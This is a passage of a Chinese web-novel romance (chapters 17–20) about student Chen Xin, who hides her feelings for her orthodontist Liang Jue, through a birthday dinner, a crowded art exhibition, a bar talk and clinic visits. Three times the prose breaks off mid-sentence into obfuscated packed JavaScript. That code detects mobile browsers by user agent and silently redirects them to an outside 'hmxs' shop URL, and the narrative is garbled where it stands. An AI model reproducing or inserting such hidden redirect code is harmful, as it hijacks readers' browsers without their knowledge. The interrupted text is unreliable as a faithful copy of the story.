后来她读了本市的大学,因为要求住校和赶早八的缘故,过生日的仪式感只保留了晚上全家聚餐这一项,枕头下的压岁钱变成了微信转账,妈妈许夏转一份,爸爸陈忠礼转一份,但祝福都是一样的——希望宝贝女儿天天快乐,健康成长。 今年,她一个人来到T市念书,或许是因为少了期待,所以生日临近了都没意识到,但小姨接过了陪她过生日的接力棒,即便是二字开头的年龄,陈心仍然觉得自己是个特别幸福的小孩。 “好啊,谢谢小姨,我要吃你做的大餐!” “没问题,还有什么要求,随便提。” “嘿嘿,那我得好好想想——” 周五下课后,陈心拜托室友把书包带回宿舍,自己直接去了小姨家。路过水果店的时候,顺道买了一兜橙子,空着手总归不太好看。 “来啦,还挺早呢,我这儿刚备菜。”许秋一手给她开了门,另一只手上还拿着剥了一半的蒜,看到陈心拎着的透明塑料袋,随口猜道,“又买水果啦?” “对,还是上次那家,你不是说吃着甜。”说着,陈心关上门,抚着许秋的肩膀往屋里走。 “这么懂事呢,哎对了,我还没给你说,梁决一会也来。” “他?梁医生也来?”陈心眼睛连眨了几下,面色有些慌乱。 “哎,你这什么表情?是我们导师前一阵退休了,来学校办事的时候,顺便托我给小梁捎个东西。” 正说着话,门铃响了。 陈心离着门近,立马转身去开门,“你来了,梁医生。”因为有许秋提前的知会,所以她才能勉强镇定地和梁决打了个招呼,倒是门外的人没有预料,按门铃的手还悬在半空,“陈心?”,愣了两秒的梁决有些不确定地开口问,“那个……师姐说让我来拿个东西,方便进去吗?” “啊,方便方便。”陈心侧身让了一下,梁决经过她时带起一阵风,从外面带进来的空气中夹杂着淡淡的消毒水味,大概他也是从医院下班直接过来的,陈心一边这么想着,一边关上门进了客厅。 “小梁来了啊,桌上有穆老师新出的书,签了名给咱们几个的,你拿两本走,给小程捎着。”厨房里传来许秋的声音,她端着切好的橙子走出来,从围裙上沾了沾手上的水,笑着说,“一块吃点水果,陈心买的。” “哦哦好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984608|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢谢师姐。”梁决嘴上应着但没在沙发上坐下,晃了两下手里的书,转而说道,“书我拿走了,师姐,还是不打扰你们……” “哎不打扰——”许秋不把梁决当外人,真要算起来,同门情谊并不逊色亲情几分,“今天陈心的生日,我才喊她来家里吃饭,你不着急的话,就留下一块吃了再走?” “对啊,梁医生,赏个脸?”陈心看似俏皮地附和了一句,实际上,她忐忑地把两只手背在身后,陷在掌心的指甲早已掐出一道道红色的印。 她当然希望梁决能留下,一年一次的生日能有喜欢的人在场,即便这个人不知情,但对陈心来说,也是一种莫大的圆满和安慰。 但又恰恰是这样的少女心思令她紧张不安,越靠近梁决就越会有露馅的风险,她应该听从理智的召唤,及时回归到医生和患者的合理区间,但她做不到。 或者说,她回不去了。 梁决这样优秀的人,她忍不住想踮脚够一够。 “不好意思啊,师姐,晚上实在有些工作要处理,我在这待着,你们也不自在。”梁决语气软乎,但意思明确,他是要走的。 “哎那行吧,回去想着吃饭,别忙起来就什么也不顾了。”许秋看他态度坚决,也不再挽留。 “走了,陈心。”梁决往门口走,视线看过来的瞬间,陈心觉得他张了张口,还有话要说但没继续说下去。 “拜拜,梁医生。”陈心机械地摆手说再见,关门回客厅看到桌上那盘被冷落的橙子,她抿了抿嘴,转身去厨房给许秋打下手。 晚饭是意料之中的丰盛,地上跑的水里游的,绝对是相当豪横的生日大餐了。 “小酌一杯?”许秋从冰箱里拿出自己酿的果味气泡酒,给陈心倒了一点,“反正明天是周末,不回学校也没事吧?” “嗯,我和室友说一声就行。”陈心没怎么喝过酒,先端起杯子试探着品了一口,冰镇过的果酒,一入口酸酸甜甜的,酒味只是淡淡的一点,更多的是莓果的馥郁香气,“还挺好喝的……” 接着,她稍微大口地品尝,直到小茶杯里的果酒见了底,方才因为梁决不在而笼罩在心头的惨淡愁云,仿佛也拨云见日,风过无痕。 她第一次体会到,酒真神奇啊。 晚上,许秋帮她把客卧的床铺收拾好,陈心洗漱完就早早躺下了。 虽然果酒没什么度数,但陈心终究心有郁结,酒不醉人人自醉,她整个人没什么力气地瘫在床上,就像躺在一团棉花里,身体直往下陷,迷糊中眨了眨眼,眼前怎么也是一团一团的棉花。 手机搁在床头柜充电,突然震动了两下,陈心扯住数据线把屏幕凑到眼前看,是梁决的消息。 “生日快乐,陈心。” “没给你准备礼物,所以不好在师姐家留下,别多想。” 谁多想了?自作多情!真把自己当盘菜了?陈心气呼呼地翻了个身,脑袋埋到枕头里,堪堪藏起被猜中心事的羞赧。 “回学校了?”没等到回复的梁决看了一眼家里的挂钟,快到T大的门禁时间了,便发过去一条消息问,隔了一会,又补充道,“下次见面,补给你。” 嗡嗡——手机再次传来震动,陈心看清消息后,心道这人今天怎么格外话多?说得好像谁稀罕他的礼物一样!不过,这倒提醒她想起白天的一件事,于是乎,在尚能分得清手机26键之前,陈心一句一顿地回复道: “不用下次,我想好了。” “什么?” “和我一起” “?”梁决握着手机的关节紧了一下,在心里从一默数到十,刚要把电话打过去问清楚。 “运营自媒体账号” “……” *梁决内心os:吓我这一大跳! 陈心内心os:嘿嘿! 18. 第 18 章 陈心醒来已经是上午十一点,睁开眼周围是陌生的房间布局,她顿了一下,才反应过来这是在小姨家。 走出卧室,陈心喊了几声没人理她,只在客厅的桌子上发现一张便利贴,许秋给她留言说自己有事出门了,冰箱里有面包片和果酱可以当早餐,蜂蜜水在养生壶里保温着,陈心可以继续从家里待着或者回学校,走的时候记得关好门。 果然,每个人都有自己的事情要忙,没有谁能一直陪在她身边,简单洗漱后,陈心在厨房里站着啃了片面包就从小姨家离开了,她和室友说好了下午要去看展。 回学校的路上,她边走边在脑子里回想昨晚意识逐渐模糊的片段,手机上的聊天记录犹如呈堂证供,她再无不相信的可能,只能安慰自己事情要从两面看,酒壮怂人胆,梁决这是答应她了。 记忆闪回—— “和我一起” “?” “运营自媒体账号” “这个需要和医院报备,不早了,改天聊。” 宿舍里,室友正在吃午饭,陈心麻烦她们给自己捎了一份肠粉放在桌上,她没什么胃口,扒拉了两筷子就搁在了一边,心里还在想和梁决有关的事。 “陈心,怎么愣神呢?”林梦走过来拍了一下她的肩膀,“咱们约的两点,得抓紧了。” “嗯,我不吃了,你们都准备好了?” “稍稍等——允许我粘个睫毛!”乔艺正对着化妆镜捯饬自己的脸,“那个,你们要不再去上个厕所,我马上好!” 等出了地铁口,风风火火的四个人一路狂奔到T市美术馆,从闸机核销完预约码才发现还有2分钟就失效了,“我的天,先让我喘口气儿,这一路跑的。”除了刘文文,另外仨人直接累得蹲在地上,与美术馆的优雅格调形成鲜明的对比。 过了一刻钟,几个人才重振旗鼓地站起来,“去二楼吧,油画展在这儿。”刚才趁三个人休息的功夫,刘文文去看了导览图,指着图上标着三号展厅的标志提议道。 T市美术馆分为上下两层,一共四个展厅,一层是常规馆藏的古代美术作品,以水墨画居多,二层是现当代美术作品和举办的特别展出,此次的19世纪意大利油画展便被布置在此,为期3个月,需要购票参观。 因为提前几周就已经开始预热宣传,所以开展首日人头攒动,不知道是真热爱艺术的,还是单纯来凑个热闹,在人堆里挤了半天,四个人才勉强凑到一幅油画展品前,还没等拿稳手机找好角度,又被挤到了一边。 “哎呀,不看了不看了,人太多了!”最早嚷嚷着要来接受艺术熏陶的乔艺被眼前的阵势吓到了,果断要带领其余三位室友激流勇退,“我的妆都要被挤花了,咱们要不先去逛逛另外几个展厅也行啊!” “……”陈心想着好不容易挤进来了,还没站住脚就要往回走,这不是白遭罪嘛,“那个……我还想看看里边那幅油画,等会去门口找你们。” “行吧行吧,那你抓紧点!”乔艺的耐心所剩无几,赶紧挽着两位室友先撤了。 展厅里举步维艰,肩膀擦过肩膀,说话声盖过说话声,突然,陈心觉得左脚上的鞋子被谁踩住了,整个人往前倾了一下,“啊不好意思!我不小心的,没事吧?”身后传来一句女声的急切问候。 “没事没事……”陈心站稳后提上鞋子,礼貌性地回头看了一眼,给她道歉的是一个留着梧桐色及腰长发的女孩,此时脸上正挂满了歉意,微笑起来有两个浅浅的酒窝,看起来好像比她大不了几岁。 接着,陈心的视线越过女孩的肩膀,在猛地看清站在她身后的高个男士时,表情瞬时一怔,嘴巴比脑子先行一步,茫然开口问:“梁医生,你们……也来看展?” “这么巧,你和梁决哥认识?”一旁的女孩忍不住插了句话,脸上的表情比刚才多了一份惊奇,热情说道,“我叫夏晴,刚从意大利留学回来,你是我回来后认识的第一个朋友,哦不对,第一个是梁决哥。” “哦哦你好,我叫陈心,梁医生是我的正畸医生。”还在状况外的陈心也赶忙补了一句自我介绍,目光友好地和女孩对视,极力让自己表现得自然些。 “你自己来的?”梁决这才开口,脸上没有什么特别的表情,大概也是对人山人海的景象感到有些惊讶和无奈,随后视线扫过陈心发红的脚踝,关心问,“你的脚,没事吧?” “哈哈没事的,一点小插曲,不信你看——”陈心原地蹦了两下,故作轻松地继续说道,“对了,我和室友一起来的,她们还在门口等我呢,我先告辞了,拜拜拜拜!” “梁决哥,她是你的病人吗?”望着陈心落荒而逃的背影,女孩的直觉告诉她事情没有那么简单,便转头向梁决求证,“怎么觉得她看你的眼神,不,是看我的眼神,有点怪怪的?” “……也有些别的关系,我师姐的外甥女。”梁决似乎也在回味刚才的场景,不是因为陈心的眼神奇怪,而是他自己莫名有种被抓包的手足无措,“还继续看吗?宋老师刚才发消息说,她快到地方了。” 梁决口中的宋老师是T大艺术学院的骨干教师,既负责带学生的美声课,又兼顾着学院里的一些行政工作,是他通过校友会的关系辗转几个人才联系到的,据说也是位有留学背景而且相当健谈的女士。 原本说好三个人一起来逛展,一来可以缓解梁决自己应付不来的尴尬,二来能顺便聊一聊T大招聘新教师的情况,无奈宋老师车堵在半路,临时改成去美术馆旁边的咖啡厅等他们。 “嗯……我看看,”夏晴盯着手机屏幕上自己做的逛展攻略,上面罗列了本次展陈的几幅必打卡名作,“好像还差一个刚才没看到的,梁决哥,要不你再陪我去那边看一眼,找不到就算了。” “好,那走吧。”梁决回头看了一眼陈心离开的方向,早已找不见人影,他眉头轻轻皱了一下又展开,敛了敛衣摆跟上夏晴的步伐。 展厅外,连续说了好几个“借过”之后,陈心终于挤了出来,站定后,她长长地舒了一口气,掏出手机打开前置摄像头检查自己的状态,除了脸颊格外红了点,心跳稍微快了点,其他还算正常。 刚才的表现应该还不算狼狈,她在心里这么安慰自己。 从美术馆二楼坐电梯到一楼,陈心转了一大圈才找到乔艺她们,三个人正在排队买文创雪糕,“加我一个,我要抹茶味儿的。”陈心揽住室友的肩膀,从冰柜里拿了一根一起放在收银台。 撕了包装,四个人把雪糕凑在一起拍了张照,陈心抿了一口,立马打了个激灵,冰凉的雪糕在舌尖化开是浓郁的抹茶味,苦苦的,倒是有点像她现在的心情。 祸兮福所倚,福兮祸所伏。 明明早上醒来还沉浸在梁决答应她生日愿望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984609|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的美好懵懂中,盘算着要怎么约他出来谈谈想法,结果就撞见了梁决和女孩一起来看展……虽然人家两个人也没有什么亲密的举动,但保不齐一来二去的就有了进一步的发展,而且那个女孩看起来要比自己成熟许多,她才更像是和梁决在一个世界的人。 越往下想,陈心越觉得难受,果真应了那句话,没有名分的醋最酸。 化了的雪糕滴在手指上,陈心赶紧嘬了两口,秋天了,总归不是吃雪糕的季节了,太冰的东西让人觉得有点胃疼。 离开美术馆后,她和室友往地铁站走,因为靠近始发站上车,地铁上有些空荡,四个人随便找了个联排的位置刚坐下,林梦就催着交换手机上拍的照片,陈心打开相册选了几张隔空投送出去,然后又接收了室友们拍的照片保存下来,一通操作完,她把手机锁屏放进包里,整个人有些无神地倚在靠背上,没过一会就打起了盹。 室友只当陈心是逛累了,快到站的时候才轻轻摇她胳膊,大概坐的时间太久,猛地一起身,陈心“哎呦”一声,只觉得腰疼屁股疼,这不锈钢的座椅也太硌人了! 另一边,尚美咖啡厅。 宋老师来得早,选了一张靠窗的圆桌坐,梁决和夏晴推门进来时,她正全神贯注地看电子书,幸好梁决提前去学院官网搜了照片,才敢上前打声招呼。 各自简单介绍后,服务生送来做好的饮品,三个人点了三杯澳白。 “夏晴妹妹,你刚回国呀!我年轻的时候也是留学,但你看现在已经变成不折不扣的打工人了,时光一去不复返啊!” “对了,听说你想进T大,这我可有的说了,咱俩先交换个微信呗?” 和梁决之前打听到的情况一样,这位宋老师相当热情善言,话匣子一被打开,她便绘声绘色地自己讲下去,妙语连珠,滔滔不绝。 这样的氛围正好,梁决只需要做个安静的旁听者,偶尔搭上两句话,剩余的时间用来放空大脑。 闲聊过半,宋老师和夏晴迅速熟络起来,话题也不再局限于一板一眼的内容,转而好奇问:“梁决是你男朋友吧,当时他拜托我给你讲讲T大的教职工情况,还专门列了个小提纲发过来,我还挺感慨的,这小伙子心细,考虑得周全!” “啊,那个……”被宋老师这么一问,夏晴的脸唰就红了,害羞地支吾着,一时间不知道怎么回答。 “我们是朋友,宋老师。”梁决一听话题要跑偏,立马坐直了身子想解释,但顾及到女孩子的面子,语气也不好太严肃,只能自嘲道,“夏晴是咱们T大口院穆导师的外甥女,我奉导师之命,自然不敢怠慢,您说是不是?而且,夏小姐这么优秀,我可不敢高攀,您就别开这种玩笑了。” 闻言,宋老师先是一愣,转而明白梁决话里的意思,笑着认错道:“你看看,闹半天是我从这乱点鸳鸯谱了,怪我怪我……” “言重了,宋老师,我这也是怕产生误会,对女孩的影响不好。”梁决坦然一笑,和聪明人说话讲究一个点到为止、过犹不及,这样彼此都有台阶下。 唯一令他感到棘手的,有些话总要和当事人说开聊透,不是像这样打打马虎眼,就能敷衍过去的。 梁决端起桌上的咖啡假装抿了一口,建议趁热饮用的澳白,现在只剩了苦涩。 *梁决内心os:惆怅。 陈心内心os:惆怅。 19. 第 19 章 转眼周一,正畸科从周末的熙攘中恢复平静,可梁决的预约表仍旧排得满满当当。 初诊的患者需要详细面诊便于之后建档,复诊的患者要对照上一次的操作记录确定这次的进度,偶尔他还要充当心理医生疏导患者的焦虑心情。 梁陀螺在诊室里忙得团团转,乳胶手套换了一副又一幅,浅蓝色的医用口罩一直闷在脸上,他连杯水都没来得及喝。 等送走最后一位来复诊的患者,梁决摘了口罩仰在椅子上,天花板上的吊灯发出冷白的光,盯久了觉得眼前一闪一闪的,就像此刻他酸痛的颈椎发出的求救信号。 梁决抬手使劲揉了两把脖颈,紧绷的肌肉仿佛得到片刻的放松,可手一拿开,又觉得于事无补。 就着这个僵硬的姿势,他掏出手机点开一个表格琢磨着要怎么填,表头上写着T大口腔医院新媒体平台账号摸底备案表,涉及到填写账号名称、发布平台、申办事由等信息,梁决本打算上午抽空填完就拿去给领导汇报,结果一忙起来就没有顾上。 顺着填到账号链接那一栏,他退出表格切到另一个页面,找到关注列表里的“陈小姐的整牙日记”点进去,正准备复制新页面地址的时候,手指一顿,又不确定地上下划动屏幕确认,心里纳闷——怎么停更了? 准确地说,上周六开始,“陈小姐的整牙日记”就毫无征兆地停止了更新,这对一个勤奋的日更博主来说,是不正常的。 他没多想,直接在最新的那条帖子下面评论了句:“怎么不更新了?”问完之后又觉得自己有些愚蠢,人家都不更新了,大概率也不会上线看到这条消息,他真是忙糊涂了。 果真,梁决猜测的没错,一直到这天下班的点,他都没收到回复。 傍晚时分,书房亮着柔和的灯,穿着一身暗灰色家居服的梁决坐在飘窗上,手上正在翻最新一期的《中华口腔正畸学杂志》。 从接触正畸学开始,这本杂志就是他的枕边读物,一开始读起来感到晦涩难懂,后来随着学业的累积便逐渐能领悟大半,尤其是对临床技术的的报道相当有学习价值,他习惯拿着笔随看随圈,读到醍醐灌顶的文章时还要折个角,留着以后常看常新。 不过,今天的情况似乎有些特殊,梁决刚看了没几页就开始走神,盯着文章里频繁出现的“正畸”两个字就联想到陈心停更的账号,又从账号联想到陈心本人—— 她是发生什么事了吗?吃坏肚子了?还是牙套出问题了?难不成是账号被盗了…… 思来想去,梁决终究还是点开了和陈心的聊天框,上次对话结束在两个人简单达成一起运营自媒体账号的意向,明明只隔了短短几天,再看那几条消息竟有些时过境迁的恍惚和刺眼。 杂志被随手搁在腿上,梁决对着手机键盘打打删删,总算编辑好一条他觉得合适的措辞:在忙?陈小姐的整牙日记要改成周记了吗?姑且代表你的百十来位粉丝来求证一下。 消息发送出去后,梁决没再拿起杂志,而是扭头看向窗外,此时的天空铺开一张饱和度极高的深蓝幕布,上面散落着星光点点,月亮不在视野里,反倒增添了一种空灵而遥远的神秘感。 他在心里想,十月份就要过完了,大概楼前的几棵银杏树已经染上金黄,明天出门前一定记着多看两眼。 手机嗡嗡震动两下,梁决回过神来,连忙点开屏幕看,陈心回复给他两条消息: “不好意思,梁医生,谢谢你还关注着。” “我最近要准备专业课的期中汇报了,确实有点忙。” 只是这样吗?梁决盯着屏幕上的两行字,虽然挑不出什么语言上的漏洞,可以说是礼貌客气,但他总觉得哪里不太对,抬手按了按太阳穴,脑子里竟然没有丝毫头绪…… 四下安静,他随意环视书房这一小块区域,视线不经意瞥到桌上那块陈心送他的檀木钥匙坠,几乎是同一时间,梁决的脑海中浮现出一张双人合影,陈心曾发在朋友圈的,拍摄于登顶小松山。 如此,梁决自作主张地把这些蛛丝马迹拼凑在一起,编织出一个不无可能的答案——陈心恋爱了。 毕竟,能够保研进入T大王牌专业的人,能够在迎新晚会上作为新生代表发言的人,一个已经被足够验证学习能力的人,怎么会被什么期中汇报困住手脚? 只有陷入爱情的人,才没有时间分给旁的无关紧要的事吧。 这样就能说得通了。 然而,梁决并没有因为这一番自洽的分析而感到释怀,水落石出,反倒心中更不畅快了。 但他已经没有力气再去剖析自己的内心了。 硬要说个原因的话,大概是因为他和许秋是同门关系,而陈心是许秋的外甥女,尽管他不比陈心大几岁,但总会不自觉地站在许秋的视角看问题,尤其在这种事情上,难免会感慨一句“小姑娘竟然恋爱了吧”。 倒也正常。 梁决一边想着,一边从书房出来,他转悠到客厅咕咚咕咚灌了一大杯水,然后又从饮水机接满,端着水杯来到餐桌边坐下,稍作思忖,在屏幕上敲了一句同样无可指摘的话:“好,那注意劳逸结合,睡前好好刷牙,早休息。” 等了一会,陈心没再回他,大概是已经休息了。 梁决把杯子里的水喝完,回了卧室。 之后的几天,诊室里忙碌依旧。 趁着某天午休的功夫,梁决把填好的账号备案表打印了出来,在手里轻轻掂了两下,又收进了抽屉里,压在一叠病历资料的最下面。 不知道还能不能派上用场。 周末的时候,程烨喊梁决出来小酌一杯,理由是他最近被家里催婚催得紧,心里烦得很,必须得找个人出来聊聊,还有就是前一阵师门聚餐,他给梁决当司机导致酒没喝成,这次得补上。 梁决上班就够累的了,本来没想答应的,但电话里听着程烨确实情绪不太好,于心不忍,只能舍命陪君子了。 周六傍晚,市中心的一处酒吧,音乐躁动。 “梁子!”吧台边,程烨刚接过酒保调好的酒,余光就瞥见远处推门进来的人,“这边!这!” 听到有人喊他,梁决循声望去,隐约看见有个男人朝他招手,这人打扮得极其花哨,头发抓成大背头,领口大敞,手上不忘晃着明黄色的酒精饮料,反观梁决穿了一件藏青色长款风衣,里面的条纹衬衫只松了最上面的一粒扣子,脸上依旧是那副冷淡的表情,怎么看都有些过于严肃正经了。 在确认了那个招摇的家伙就是程烨之后,梁决在心里挣扎了下要不要掉头就走,但又怕这个人借题发挥说他不讲兄弟义气,只好硬着头皮一边抬手遮挡四射的晃眼光线,一边疾步穿过沾染酒气的男男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984610|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女女。 梁决不太喜欢这种撩拨人情绪的场所。 “不嫌吵吗?我还以为你会选个清吧。”在程烨旁边的空位坐下,梁决不耐烦地抓了两下耳朵,把手里的东西递给他,“穆导师出的新书,前几天找师姐拿的,要不是一直没功夫给你,不然我真不会来。” “……?”程烨的脸上浮现出一种“我没听错吧”的神情,一时间不知道是该哭自己的好兄弟如此坦诚无情,还是该笑怎么会有人在这种场合谈论学术,他抿了一口威士忌让自己镇定下来,眯眼笑着问梁决,“喝什么?” “您好,一杯苏打水,谢谢。”梁决脱下风衣搭在椅背上,礼貌地和吧台小哥点单,又转过脸来和程烨解释了一句,“开车过来的。” “嘁——”见来人这么不给面子,程烨也不藏着自己刚才的那点脾气了,不满地端起酒杯一饮而尽,嘴里直叨叨着,“真没劲。” 路过的一个酒保见这位客人酒杯空了,凑近了刚要开口问是否再来一杯,“不用了,谢谢。”梁决提前伸手拦了一下,然后顺势把手搭在程烨的椅背上,摆出一副洗耳恭听的虔诚模样,“说说吧,遇到什么事了?” 程烨撩起眼皮看了他一眼,但很快又低下头把玩手里的玻璃酒杯,指腹顺着杯沿来回摩挲,过了一会才开口:“你说,人为什么非得结婚?” “嚯,这么深奥的问题啊?”梁决笑了一下,像被传染了一样也开始转手里的水杯,“大概是为了过一种小型共产主义的生活,两个人可以……” “……你打住,”程烨用手肘撑着脑袋,“别给我整这些词儿,我听不懂也不想听,你就说你自己!” “我自己?我就这么想的,怎么?你有什么高见?”梁决没开玩笑,他是个比较独立的人,对父母对他人少有情感上的依赖,似乎连婚姻也并不是一件必要的事情,所以程烨提出的问题也曾让他感到困惑。 直到有一次他边开车边听播客,节目里的嘉宾分享了法国哲学家阿兰·巴迪欧的一种观点,大意是“经典意义上的爱是一场小型的共产主义”,他才如梦方醒,觉得这未尝不是一个踏入婚姻的理由。 两个相爱的人为对方甘之如饴的付出,在彼此的眼神里看到被幸福围绕的自己,因为所爱之人的快乐,所以自己倍感快乐。 倘若能拥有这样的婚姻生活,梁决会觉得自己是幸运的。 “可我就是不想结,我一个人过,我招谁惹谁了?”程烨看他在走神,敲了两下桌子,继续发牢骚。 “你就这么和阿姨说的?” “那、那我哪敢呀?我就说……先等工作稳定个两年再说别的事儿,结果她一听就听出来我是想借机拖延,给我呲了一顿!” “……”梁决战术喝了口苏打水,“那你到底怎么想的,一直单身?” “那倒也不是……”程烨惆怅地捋着后脑勺,“我是觉得不能随随便便就找个人,见几面,既说不上喜欢也没有不喜欢,就这么稀里糊涂地把证儿领了,然后开始茶米油盐地过日子,一天一个月一年,一辈子就这样了,你能明白吗?”说完,程烨苦笑了一声,把头埋进肘窝里。 梁决没作声,抬手重重按了按程烨的肩膀,共担此刻的沉默。 *梁决内心os:某位患者很不让人省心。 陈心内心os:不想理人。 20. 第 20 章 进入11月,T市连着下了好几场连绵细雨,还专挑上下班的点。 清早,梁决打着伞快步迈上门诊楼的台阶,正站在房檐下抖雨伞,忽然听见有人喊他。 “梁决哥——” 他抬头看,来人是夏晴。 距离两个人上次在美术馆见面有一段时间了,这期间除了通过宋老师得知夏晴加入了艺院的摘星乐团外,两个人没有单独联络,梁决不知道夏晴有没有私下和穆导师抱怨过他的“不靠谱”。 “这么早来医院?牙齿不舒服?” “哦哦不是,我去学校找宋老师,路过医院在门口转悠了一会,还想着能不能碰见你,结果真让我蹲到了。” “这样啊……”梁决尴尬地笑了一下,把雨伞立在一边,边拍防水夹克上的雨珠,边随口问,“最近还行吧?” “挺好的,我现在可是乐团的重要编外人员,学院下周五要办秋季音乐会,梁决哥,你有空来听吗?”夏晴掏出手机给他看音乐会的宣传海报,“我还没来得及和舅舅说,要不你和他说一声,正好可以陪他一起来?” “……到时看情况吧。”梁决顿了一下,“那个……你中午有时间吗?我快到点了,要不中午去学校找你,咱们谈谈?” “也行,梁决哥,那中午见。” “中午见。” 科室内,梁决换上白大褂后开始叫号,系统显示是一位初次就诊的女性患者。 “请问是梁医生吗,我挂的您第一个号,刚才好像叫我了。” “你好,范女士是吧,坐,有什么问题?” “医生,我真是后悔死了!您看我前面这几颗牙,都发黑了!这还有办法矫正吗?”范女士穿着商务风的白色西装,妆容自然,看起来端庄大方,一开口却是义愤填膺。 “范女士,你先别着急,我看一下。”梁决先安抚范女士的情绪,然后拿着口镜拉开她的唇角检查,情况确实不太乐观。 除了个别牙齿存在龋坏和牙齿内侧的牙结石,最要命的是范女士上前牙做了六颗美容冠,美容冠的牙龈边缘已经发黑,出现牙龈红肿,现在还不确定牙冠下的牙齿有没有炎症。 “怎么样啊,医生?我这个冠才做了没几年,当时就是图快图省事,没想到这么不顶用啊!” “是这样的,范女士,从正畸医生的角度,确实不建议首选美容冠,我们在临床上见过不少像您这样的患者。”梁决从电脑上找出几张教学用的示例图,“表面上看,美容冠和正畸殊途同归,但其实是南辕北辙。” “梁医生,这些道理我现在明白过来了,那还有办法补救吗?” “这样吧,您先去拍个片子,完善一些必要的检查,咱们根据实际情况再看。”梁决从电脑上开了检查,又简单询问了范女士一些基本情况,宽慰道,“您现在的情况虽然复杂,但还没到最坏的地步,我们肯定尽最大的努力提供治疗方案,先去检查吧。” “好好!我这就去检查,谢谢你啊,梁医生!”范女士边道谢边拿着病历和检查单,急匆匆地离开了诊室。 每当遇到这样的病人,梁决心里都感到惋惜,人的牙齿更换后不可再生,一旦发生龋坏而磨除部分牙体是迫不得已,但为了追求快速的美观而置牙齿的功能性于不顾,把好端端的牙齿磨小做冠实在有些本末倒置。 他作为正畸科的医生,自然对此嗤之以鼻,但站在患者的角度一想,又不是绝对的难以理解。每个人的认知和诉求不同,比起正畸客观上需要花费的时间和金钱成本,天平的左右两端,自己的牙齿健康是最容易被忽略和放弃的了。 能唤起公众对口腔健康的重视,要比这样坐以待毙地接手一个个病例更有长远意义。 想到这,梁决拉开抽屉,重新审视那张新媒体账号的备案登记表,一开始只是出于答应陈心的生日愿望,现在再看竟有种不同寻常的意义,他默默在心里叹了口气。 中午的时候,梁决和夏晴约在了T大馨园食堂四楼,学生一般上来得少,主要是对外接待用,环境相对高档安静。 两个人从窗口选好菜后,端着托盘找了个角落坐下,梁决又去要了两双一次性筷子。 “给,先尝尝,这个百香果虾球是T大自创的菜品,还挺受欢迎的。” “是吗?”夏晴半信半疑地夹起一块放进嘴里,嚼了没两下,“唔……好酸啊!梁决哥,你确定不是在整我吗?” “这、这不会吧?”梁决连忙也夹了一块尝,脸上顿时浮现出一言难尽的表情,“可能、可能是他们换厨师了,味道没以前好了。” 梁决本想找个话头破破冰,没想到出师不利,好在夏晴是个大大咧咧的女孩儿,现在的气氛也不尴尬。 “对了,梁决哥,你找我想说什么?其实我大概能猜到了……”夏晴放了筷子,手撑着下巴看梁决。 “不好意思啊,夏晴,早应该和你说句抱歉的。”梁决清了清嗓子,“认识你到现在,我能感受出来你是个活泼开朗的女孩儿,热爱艺术,懂得享受生活,但我的生活轨迹和你恰恰相反,不知道穆老师是怎么向你介绍我的,之前读书的时候泡实验室图书馆,现在就是医院和家两点一线,偶尔的放松方式就是自驾,可能在你看来多少有些无趣了。” “所以我也想过,或许你也只是为了配合穆老师的一番好意才勉强和我保持联络,想来想去,是我自作多情,既然这样,不如我们今天就把话说开,就当彼此重新认识一下。” 梁决一口气说完,摊了下手,把选择权交给对面的人。他自觉理亏,没把事情处理得干脆利落,才让女孩和他一起陷入到现在的处境之中。 “哈哈不是,你也太严肃了,梁决哥!”夏晴懵了一下,转而笑着说道,“我舅舅的想法是他的想法,我的想法是我的想法,我这么大人了,喜欢谁不喜欢谁,和谁在一起不和谁在一起,这还拎不清嘛!” “梁决哥,我说句玩笑话,你别生气!你看着挺优秀一个人,怎么办事这么古板啊?我理想中的另一半得是可以谈天说地,共赴诗与远方的梦想家,一辈子这么短暂,我才不要天天柴米油盐、家长里短,所以咱俩是互相没看对眼,不是你拒绝了我,也不是我拒绝了你。” 梁决听她这么一说,紧绷的情绪缓和了大半,再细细品味最后的几句,竟觉得有些耳熟。 “我先表个态吧,梁决哥,你是我回国后交到的第一个朋友,感谢你这一段时间的照顾,作为朋友之间的回报,邀请你来看我的演出,这不过分吧?” “不过分。”梁决无话可说,他发自内心地欣赏夏晴的直率和坦诚,“我会和穆老师打声招呼,你放心。” 厘清了两个人的关系后,梁决长舒了口气,吃完午饭回医院还稍微午休了会。 下午开诊后,范女士拿着检查报告找他看,CBCT等口腔影像数据显示美容冠下的六颗牙齿比较健康,整体的骨密度和牙周情况也达到了正畸的基本要求。 “范女士,目前从片子上看,正畸是可以的,我们医院的流程是给患者出个详细的分析报告和矫治方案,听了方案再考虑要不要继续。” 